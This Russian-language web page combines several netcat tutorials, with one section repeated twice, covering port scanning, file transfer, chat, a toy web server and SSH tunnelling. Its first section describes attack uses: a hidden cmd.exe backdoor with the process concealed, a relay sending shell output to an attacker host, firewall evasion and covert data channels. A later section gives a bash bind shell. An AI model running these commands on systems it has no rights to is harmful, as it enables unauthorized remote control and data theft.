Netcat что то после 4. Использование Netcat для создания и тестирования соединений TCP и UDP на VPS

Главное назначение утилиты netcat (или ‘nc’, как называется соответствующий выполняемый файл) — предоставить пользователю возможность передавать любые данные через сеть, используя транспортный протокол TCP или UDP. Кроме этого, netcat может выполнять еще несколько интересных функций, например, сканирования UDP- или TCP-Портов.

При этом пользователь может, в частности:

  • свободно выбирать порт привязки (как локальный, так и отдаленный);
  • выполнять (не выполнять) прямую и обратную трансляцию DNS-Имен;
  • привязывать netcat к любому из адресов уровня сети локального узла;
  • передавать входные сообщения на обработку другой программе;
  • шифровать данные, которые передаются (эта возможность реализована в версии netcat, так называемая cryptcat).

Базовые режимы работы

Базовые режимы работы утилиты netcat — режим клиента и режим сервера.

Простейший вариант запуска в режиме клиента:

nc host port

(если нужно использовать протокол TCP), или

nc -u host port

(если нужно использовать протокол UDP).

Если не включенная опция -u, непосредственно после запуска в этом режиме netcat осуществляет попытку установить TCP-Соединение с портом port узла host.

Работа netcat сводится к передаче на сокет host:port всего, что приходит к ней через стандартный канал ВВОДА, и выдачи в стандартный канал ВЫВОДА всего, что приходит к ней из этого сокета.

Простейший вариант запуска в режиме сервера:

nc -l -p port

После запуска в этом режиме netcat ждет запросов на установление соединения с TCP-Портом port. После установления соединения выдает все, что приходит к ней через это соединение, в стандартный канал ВЫВОДА, и передает назад все, что приходит к ней через стандартный канал ВВОДА.

Применение при подготовке и проведении программных атак

Такое широкое назначение утилиты netcat открывает множество возможностей по ее применению. При подготовке и проведении программных атак возможное применение netcat для решении следующих, например, задач:

  • идентификация сервисов, которые предоставляют узлы сети (путем сканирования TCP- и UDP-Портов);
  • идентификация программного обеспечения сервисов, которые предоставляют узлы сети (путем сбора маркеров);
  • проникновение на узлы сети или нарушение доступности сервисов, которые они предоставляют;
  • создание скрытых каналов управления узлами сети;
  • создание скрытых каналов передачи данных.

В последних двух случаях очень полезной есть возможность шифровать обмен между клиентом и сервером netcat (реализованная в cryptcat).

Применение netcat для проникновения на узлы сети или отдаленного нарушения доступности сервисов, которые они предоставляют

О проникновении на узел сети говорят в двух смыслах:

1) как про захват полномочий пользователя узла (субъектом, который к этому не имел никаких полномочий относительно этого узла);

2) как о преодолении ограничений на информационный обмен с узлом, наложенных межсетевым (сетевым) экраном.

netcat может оказаться полезной в обоих случаях.

Захват полномочий возможен путем отдаленной атаки на сервер, который принадлежит объекту атаки (используя, например, такую уязвимость сервера, как переполнение буфера). При этом у атакующего должна быть возможность передать серверу определенные данные. Как правило, это такие данные, которые невозможно передать с помощью обычной клиентской программы (но возможно с помощью netcat, поскольку netcat дает возможность передавать любые данные).

Проникнуть через межсетевой (сетевой) экран может помочь способность netcat привязываться к любому локальному порту (включается опцией -p). Например, если netcat в режиме клиента привязывается к TCP-Порту 20 (ftp-data), во многих случаях межсетевые (сетевые) экраны разрешат устанавливать соединение с узлами (узлом) сети, которые (который) они защищают.

Для нарушения доступности сервисов может применяться та самая способность netcat передавать любому серверу любые данные (например, некорректные запросы, которые приводят к зависанию сервера).

Применение netcat для создания скрытых каналов управления узлами сети

Предположим, что объектом атаки является узел под управлением MS Windows NT. Выполнив на объекте атаки

nc –L -p xxxx -d -e cmd.exe

(где xxxx — произвольный номер порта), получим скрытый канал управления этим объектом. Здесь опция -e включает режим, в котором стандартный поток ВЫВОДА результатов утилиты netcat подключается к стандартному каналу ВВОДА командного интерпретатора cmd.exe, а стандартные потоки ВЫВОДА результатов и сообщений об ошибках командного интерпретатора cmd.exe – к стандартному потоку ВВОДА утилиты netcat. Опция -L действует аналогично -l, с таким различием, что указывает на необходимость перезапуска netcat с теми же аргументами после завершения каждого соединения. Опция -d (detach) служит для скрытия запуска (netcat при этом не создает окна и не отображается в списке задач). Дополнительного эффекта скрытия можно достичь, если переименовать выполняемый файл netcat.

Воспользоваться этим каналом можно, если, например, на другом узле следующим образом запустить netcat:

nc troy xxxx

где troy — адрес или имя объекта атаки.

Опция -e, однако, не всегда поддерживается реализациями netcat. Если эта опция не поддерживается, аналогичного результата можно достичь, запустив по два экземпляра netcat на объекте атаки и на узле атакующего. Можно, например, применить следующий сценарий. На объекте атаки запустить:

nc -L -p xxxx -d | cmd.exe | nc odysseus yyyy

где odysseus — адрес или имя узла атакующего.

А на узле атакующего:

nc -l -p yyyy

nc troy xxxx

Такой сценарий называется перенаправлением портов . Обратите внимание на правильный порядок запуска программ (в данном тексте он отображен неправильно: сервер нужно запускать раньше клиента).

Этот сценарий можно модифицировать. Например, на объекте атаки запускать netcat только в режиме клиента, а на узле атакующего – только в режиме сервера, или наоборот (придерживаясь при этом правильного порядка запуска: сервер должен запускаться ранее клиента).

Манипулирование режимами запуска netcat, вместе с правильным выбором номеров портов, может разрешить во многих случаях преодолеть межсетевой (сетевой) экран, если последний применяется для защиты объекта атаки (например, если используется рассмотренный выше сценарий, во многих случаях может оказаться удачным выбор xxxx = 80 (порт HTTP-Сервера), yyyy = 25 (порт SMTP-Сервера)).

Применение netcat для создания скрытых каналов передачи данных

Рассмотрим, например, как с помощью netcat передать файл из сокета troy:xxxx на сокет mac:yyyy.

Для этого достаточно на узле mac выполнить что-то наподобие:

nc -l -p yyyy > godear

а на узле troy:

nc -p xxxx mac yyyy < prayer

Здесь, снова таки, надлежащее манипулирование режимами запуска netcat и номерами портов может помочь преодолеть ограничения, которые накладываются межсетевыми (сетевыми) экранами.

В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.


Netcat - утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.


С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.


Что можно сделать с помощью netcat:

  • Сканировать порты;
  • Перенаправлять порты;
  • Производить сбор баннеров сервисов;
  • Слушать порт (биндить для обратного соединения);
  • Скачивать и закачивать файлы;
  • Выводить содержимое raw HTTP;
  • Создать мини-чат.

Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.

Практические примеры

Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:

Проверка наличия открытого TCP-порта 12345

$ nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

$ nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port succeeded!
SSH-2.0-OpenSSH

Сканирование TCP-портов с помощью netcat:

$ nc -vnz 192.168.1.100 20-24

При таком сканировании не будет соединение с портом, а только вывод успешного соединения:


nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

Сканирование UDP-портов.

Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет - в этом случае нам тоже может помочь утилита netcat:


$ nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 succeeded!

Отправка UDP-пакета

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Это может быть полезно при взаимодействии с сетевыми устройствами.

Прием данных на UDP-порту и вывод принятых данных

$ nc -u localhost 7777

После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:


$ while true; do nc -u localhost 7777; done

Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:


nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact в роли простейшего веб-сервера.

Netcat может выполнять роль простейшего веб-сервера для отображения html странички.


$ while true; do nc -lp 8888 < index.html; done

C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:


$ while true; do sudo nc -lp 80 < test.html; done

Чат между узлами

На первом узле (192.168.1.100):


$ nc -lp 9000

На втором узле:


$ nc 192.168.1.100 9000

После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

Реверс-шелл

С помощью netcat можно организовать удобный реверс-шелл:


nc -e /bin/bash -lp 4444

Теперь можно соединиться с удаленного узла:


$ nc 192.168.1.100 4444

Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.

В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.


Netcat - утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.


С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.


Что можно сделать с помощью netcat:

  • Сканировать порты;
  • Перенаправлять порты;
  • Производить сбор баннеров сервисов;
  • Слушать порт (биндить для обратного соединения);
  • Скачивать и закачивать файлы;
  • Выводить содержимое raw HTTP;
  • Создать мини-чат.

Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.

Практические примеры

Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:

Проверка наличия открытого TCP-порта 12345

$ nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

$ nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port succeeded!
SSH-2.0-OpenSSH

Сканирование TCP-портов с помощью netcat:

$ nc -vnz 192.168.1.100 20-24

При таком сканировании не будет соединение с портом, а только вывод успешного соединения:


nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

Сканирование UDP-портов.

Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет - в этом случае нам тоже может помочь утилита netcat:


$ nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 succeeded!

Отправка UDP-пакета

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Это может быть полезно при взаимодействии с сетевыми устройствами.

Прием данных на UDP-порту и вывод принятых данных

$ nc -u localhost 7777

После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:


$ while true; do nc -u localhost 7777; done

Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:


nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact в роли простейшего веб-сервера.

Netcat может выполнять роль простейшего веб-сервера для отображения html странички.


$ while true; do nc -lp 8888 < index.html; done

C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:


$ while true; do sudo nc -lp 80 < test.html; done

Чат между узлами

На первом узле (192.168.1.100):


$ nc -lp 9000

На втором узле:


$ nc 192.168.1.100 9000

После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

Реверс-шелл

С помощью netcat можно организовать удобный реверс-шелл:


nc -e /bin/bash -lp 4444

Теперь можно соединиться с удаленного узла:


$ nc 192.168.1.100 4444

Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.

Почти в любом дистрибутиве Linux есть маленькая незаметная утилита netcat , или просто nc . Эта программа может создавать TCP-сокеты либо в режиме сервера для ожидания соединения, либо в режиме клиента для подключения к серверу. А по правде сказать, для netcat вовсе не играет роли, собираетесь ли вы использовать его как сервер или как клиент – его работа заключается только в том, чтобы собрать данные с stdin и передать на указанный сетевой адрес.

Простейший пример использования netcat – это создать клиент-серверный чат. Хотя это и очень примитивный способ создания чата, он наглядно показывает, как данная утилита работает. В последующих примерах будет подразумеваться, что машина, создающая сокет в режиме ожидания (сервер), имеет IP-адрес 192.168.0.1. Итак, создаем чат-сервер, который будет ожидать соединений на TCP-порт 3333:

$ nc -l 3333

Теперь мы можем с другого компьютера подключиться к данному серверу:

$ nc 192.168.0.1 3333

В данном случае клавиатура выступает в роли stdin. Все набираемое на клавиатуре на стороне сервера будет передано на терминал клиента, и наоборот.

Передача файлов

Совершенно аналогичным образом можно использовать netcat для передачи файлов между двумя компьютерами. При помощи следующей команды можно создать сервер, который подготовит файл к передаче:

Получить файл backup.iso на другом компьютере можно следующим образом:

$ nc 192.168.0.1 3333 > backup.iso

Как можно заметить, netcat не отображает никакой информации о процессе передачи данных. При работе с большими файлами это может быть довольно неудобно. Для решения этой проблемы можно использовать утилиту (progress viewer). В данном примере на стороне сервера будет в реальном времени отображаться информация о скорости и объеме передаваемых данных:

$ cat backup.iso | pv -b | nc -l 3333

Подобным образом можно показывать статистику и на стороне клиента:

$ nc 192.168.0.1 3333 | pv -b > backup.iso

Другие примеры

Утилита netcat может также пригодиться для создания образа раздела жесткого диска с возможностью отправки его на удаленный сервер на лету:

$ dd if=/dev/hdb5 | gzip -9 | nc -l 3333

А на удаленной машине принять созданный образ можно так:

$ nc 192.168.0.1 3333 | pv -b > myhdb5partition.img.gz

В случае необходимости отправки группы файлов – например, набора конфигурационных файлов – можно скомбинировать netcat и архиватор tar:

$ tar -czf - /etc/ | nc -l 3333

Дефис в качестве имени файла в параметрах tar необходим для того, чтобы вывести результат работы архиватора на stdin, который затем перенаправляется в netcat. Принять созданный бэкап на удаленной машине можно аналогично изложенному ранее:

$ nc 192.168.0.1 3333 | pv -b > mybackup.tar.gz

Безопасность

Очевидно, что при подобном использовании netcat информация передается по сети в исходном нешифрованном виде. Для передачи некритических данных это вполне приемлемо, но при передаче какой-либо ценной информации разумно использовать netcat в сочетании с SSH-туннелем.

Использование SSH-туннеля имеет два преимущества:

  1. Информация передается внутри зашифрованного туннеля, так что она хорошо защищена;
  2. На сервере не требуется открывать никаких дополнительных портов в конфигурации файрвола, поскольку соединение будет установлено через SSH

На стороне сервера файл в netcat выставляется точно так же, как описано ранее:

$ cat backup.iso | nc -l 3333

А вот на стороне клиента подключаемся к ожидающему соединений сокету netcat через SSH-туннель:

$ ssh -f -L 23333:127.0.0.1:3333 [email protected] sleep 10; \ nc 127.0.0.1 23333 | pv -b > backup.iso

Понятно, что есть и другие способы помещения соединения в SSH-туннель, но создание и использование туннеля именно таким образом имеет полезную особенность, что туннель автомагически закрывается при окончании передачи данных через netcat.

…и переносной сканер портов

Невероятно, но netcat еще можно использовать и для сканирования открытых портов. Для этого поможет параметр -z:

$ nc -z 192.168.0.1 80-90 Connection to 192.168.0.1 80 port succeeded!

В данном примере netcat сканировал диапазон портов 80-90 и сообщил, что на удаленной машине открыт порт 80.

На страницах man по утилите netcat также содержится и ряд других полезных советов и интересных примеров использования данной программы.

|

Система Linux известна тем, что в большинстве дистрибутивов огромное количество полезных утилит командной строки поставляются сразу вместе с ОС. Опытные системные администраторы могут выполнить большинство задач с помощью встроенных инструментов без необходимости установки дополнительного программного обеспечения.

Данное руководство посвящено работе утилиты . Этот своеобразный «швейцарский армейский нож» сетевых инструментов может быть полезен при мониторинге, тестировании и передаче данных через сетевые соединения.

В данном руководстве используется сервер Ubuntu 12.04, но в целом утилита netcat доступна практически на любом современном дистрибутиве. Ubuntu поставляется с BSD-вариантом утилиты, который и будет использован в этой статье. Другие версии могут работать по-другому или предоставлять другие опции.

Общий синтаксис

По умолчанию netcat работает путем инициации соединения TCP с удаленным хостом.

Базовый синтаксис:

netcat [опции] хост порт

Такая команда инициирует TCP-соединение с указанным хостом через заданный порт. В основном, она функционирует аналогично старой команде Linux — telnet. Имейте в виду, что ваше соединение будет установлено в незашифрованном виде.

Чтобы вместо установления TCP-соединения отправить UDP-пакет, используйте опцию -u:

netcat -u хост порт

Чтобы задать диапазон портов, укажите первый и последний порт диапазона через тире:

netcat хост первый_порт-последний_порт

Обычно данная команда используется с дополнительными флагами.

На большинстве систем можно использовать netcat или nc. Они взаимозаменяемы, поскольку являются псевдонимами для одной команды.

Использование для сканирования портов

Чаще всего netcat используют как сканер портов.

Хотя Netcat, вероятно, не самый умный инструмент для выполнения этой задачи (в большинстве случаев для этого больше подойдет nmap), он может выполнять простое сканирование портов, чтобы быстро определить открытые порты.

Для этого укажите диапазон портов для сканирования (как показано выше), а также используйте опцию -z, которая выполняет сканирование вместо установления соединений.

К примеру, чтобы просканировать все порты до порта 1000, выполните:

netcat -z -v domain.com 1-1000

Как видите, кроме опции -z в данной команде использована опция -v, благодаря которой netcat выводит более подробную информацию.

Результат имеет такой вид:

nc: connect to domain.com port 1 (tcp) failed: Connection refused
nc: connect to domain.com port 2 (tcp) failed: Connection refused
nc: connect to domain.com port 3 (tcp) failed: Connection refused
nc: connect to domain.com port 4 (tcp) failed: Connection refused
nc: connect to domain.com port 5 (tcp) failed: Connection refused
nc: connect to domain.com port 6 (tcp) failed: Connection refused
nc: connect to domain.com port 7 (tcp) failed: Connection refused
. . .
Connection to domain.com 22 port succeeded!
. . .

Как видите, эта команда выводит достаточно подробный результат, а также сообщает, было ли сканирование каждого отдельного порта успешным или нет.

Это удобно при использовании доменного имени.

Тем не менее, указывая нужные IP-адреса, можно значительно ускорить сканирование. Затем можно использовать флаг -n, чтобы указать, что не нужно разрешать IP-адрес с помощью DNS:

netcat -z -n -v 111.111.111.111 1-1000

Возвращаемые сообщения отправляются в стандартный поток ошибок. Сообщения о стандартных ошибках можно отправлять в стандартный вывод, чтобы фильтровать результаты.

Для перенаправления стандартной ошибки в стандартный вывод используется bash-синтаксис 2>&1; полученные результаты фильтруются с помощью grep:

netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep succeeded
Connection to 111.111.111.111 22 port succeeded!

Итак, теперь можно видеть, что единственный открытый порт на удаленной машине в диапазоне 1-1000 — это порт 22, стандартный порт SSH.

Общение с помощью netcat

Команда netcat не ограничивается отправкой пакетов TCP и UDP. Она также может прослушивать порт на соединения и пакеты, что дает возможность подключить два экземпляра netcat в отношении «клиент-сервер».

Который компьютер является сервером, а который — клиентом, существенно только во время начальной настройки. После того, как соединение установлено, связь одинакова в обоих направлениях.

На одной машине нужно сказать netcat прослушивать определенный порт на подключения. Это делается с помощью параметра -l, после которого указывается номер порта:

Выполнив эту команду, netcat прослушивает соединения TCP на порту 4444. Теперь обычный пользователь (не root) не сможет открывать какие-либо порты до 1000 (для безопасности сервера).

На втором сервере нужно подключиться к первой машине через указанный порт. Это делается так же, как было показано ранее:

netcat domain.com 4444

После установления соединения может показаться, что ничего не произошло. Но теперь можно отправлять сообщения по обе стороны соединения и они будут видны на обоих серверах.

Введите сообщение и нажмите ENTER. Сообщение появится как на локальном, так и на удаленном сервере. Это работает и в обратном направлении.

Завершив передачу сообщений, нажмите CTRL-D, чтобы прервать TCP-соединение.

Обмен файлами с помощью netcat

Ознакомившись с основными функциями утилиты и выполнив предыдущие примеры, можно перейти к более сложным задачам.

Как уже говорилось, утилита netcat создает TCP-соединения, с помощью которых можно передавать практически любой вид информации, не ограничиваясь набранными пользователем сообщениями. Эти знания можно использовать, чтобы превратить netcat в программу передачи файлов.

Опять же, нужно выбрать одну машину для прослушивания соединений. Однако, вместо того, чтобы печатать информацию на экран (как в предыдущем примере), netcat разместит всю информацию прямо в файл:

netcat -l 4444 > received_file

На втором компьютере нужно создать простой текстовый файл:

echo "Hello, this is a file" > original_file

Теперь можно использовать этот файл в качестве входных данных для создания соединения со слушающим компьютером. Файл будет передаваться так же, как если бы он был набран в интерактивном режиме:

netcat domain.com 4444 < original_file

Как можно видеть, на компьютере, который ожидал соединения, теперь есть новый файл с именем «received_file», содержащий введенные на другом компьютере данные:

cat received_file
Hello, this is a file

Как видите, подобные соединения можно легко использовать для передачи любого рода информации.

К примеру, можно передать содержимое целого каталога; для этого создайте безымянный тарбол, передайте его на удаленную систему и распакуйте его в удаленный каталог.

На принимающей стороне можно использовать следующую команду, чтобы предупредить о том, что нужно получить и распаковать файл:

netcat -l 4444 | tar xzvf -

Тире в конце команды означает, что тарбол будет работать на стандартный ввод, который в настоящее время передается по сети, если соединение установлено.

На стороне, содержащей каталог, который нужно передать, упакуйте данный каталог в архив, а затем отправьте его на удаленный компьютер с помощью netcat:

tar -czf - * | netcat domain.com 4444

На этот раз тире в команде tar значит, что содержимое текущего каталога (как указано символом *) нужно заархивировать и передать, а затем записать результат в стандартный вывод.

Затем это записывается в подключение ТСР, передается другой стороне соединения и распаковывается в текущий каталог удаленного компьютера.

Это лишь один пример передачи более сложных данных с одного компьютера на другой. Также часто используется команда dd, которая создает образ диска на одной стороне и передает его на удаленный компьютер. Тем не менее, такой подход не охвачен данным руководством.

как простой веб-сервер

Утилита netcat уже была использована для передачи сообщений и файлов. Этот же подход поможет использовать netcat как простой веб-сервер. Это может пригодиться для тестирования готовых страниц.

Для начала нужно создать HTML-файл на одном сервере:

В данном файле можно разместить следующий простой код:



Test Page


Level 1 header


Subheading


Normal text here




Сохраните и закройте файл.

Данный файл нельзя обслуживать на порту веб-сервера по умолчанию (80) без привилегий root. Потому как обычный пользователь установите порт 8888.

Чтобы протестировать одну страницу и проверить, как она отображается, наберите что-то вроде:

netcat -l 8888 < index.html

Теперь контент можно просмотреть в браузере, посетив:

http://IP_сервера:8888

Эта команда выведет страницу, после чего соединение netcat закроется. При попытке обновить страницу она исчезнет.

Netcat может обслуживать страницу на продолжении неопределенного срока; для этого нужно сделать последнюю команду цикличной при помощи строки:

while true; do nc -l 8888 < index.html; done

Тогда страница будет продолжать получать соединения после того, как первое соединение было прекращено.

Чтобы остановить цикл, наберите CTRL-C.

Этот сервер позволит увидеть, как страница отображается в браузере, но не предоставляет более широкой функциональности. Никогда не используйте такой веб-сервер для обслуживания реальных сайтов: он небезопасен, кроме того, такие простые вещи, как ссылки, не всегда работают правильно.

Итоги

Данное руководство знакомит с основными функциями и использованием netcat. Так как этот инструмент универсален, он может быть использован для диагностики проблем и тестирования базовой функциональности TCP/UDP-соединений.

Кроме того, netcat позволяет общаться и обмениваться информацией между различными компьютерами, что очень важно для быстрого взаимодействия пользователей. Упрощая создание соединения, утилита netcat пытается сделать сетевые взаимодействия компьютеров более удобными, быстрыми и понятными.

Tags: ,